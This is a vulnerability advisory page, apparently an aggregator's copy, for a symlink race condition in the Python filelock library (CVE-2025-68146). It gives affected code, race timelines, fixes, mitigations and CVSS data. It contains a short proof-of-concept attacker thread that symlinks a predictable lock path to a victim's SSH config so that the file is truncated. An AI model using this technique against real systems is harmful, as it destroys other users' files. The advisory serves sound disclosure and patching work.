filelock has a TOCTOU race condition which allows symlink attacks during lock file creation
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
If immediate upgrade is not possible:
1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
______________________________________________________________________
Unix/Linux/macOS (src/filelock/_unix.py:39-44):
```python
def _acquire(self) -> None:
ensure_directory_exists(self.lock_file)
open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate
if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?
open_flags |= os.O_CREAT
fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate
```
Windows (src/filelock/_windows.py:19-28):
```python
def _acquire(self) -> None:
raise_on_not_writable_file(self.lock_file) # (1) Check writability
ensure_directory_exists(self.lock_file)
flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate
fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate
```
The vulnerability exists in the gap between operations:
Unix variant:
```
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file exists? → False
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
```
Windows variant:
```
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file writable?
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink/junction
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
```
1. Attacker Setup:
```python
# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock" # Predictable lock path
victim_file = "/home/victim/.ssh/config" # High-value target
```
2. Attacker Creates Race Condition:
```python
import os
import threading
def attacker_thread():
# Remove any existing lock file
try:
os.unlink(lock_path)
except FileNotFoundError:
pass
# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")
# Launch attack
threading.Thread(target=attacker_thread).start()
```
3. Victim Application Runs:
```python
from filelock import UnixFileLock
# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire() # ← VULNERABILITY TRIGGERED HERE
# At this point, /home
This issue can be reached with local access to the system, attack complexity is high, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
CVE-2025-68146 is classified as CWE-362: Race Condition. Concurrent operations share state without proper synchronisation, so timing decides whether the result is correct.
CVE-2025-68146 is recorded against 1 package.
Published on 7 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
learn.microsoft.com (Web)
pubs.opengroup.org (Web)
pypi.org (Package)
github.com (Advisory)
nvd.nist.gov (Advisory)
filelock has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-362: Race Condition) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| filelock | — | 3.20.1 |
References
Similar Threats
Exploit Protection
CVE-2025-68146 carries CVSS 6.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2025-68146 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.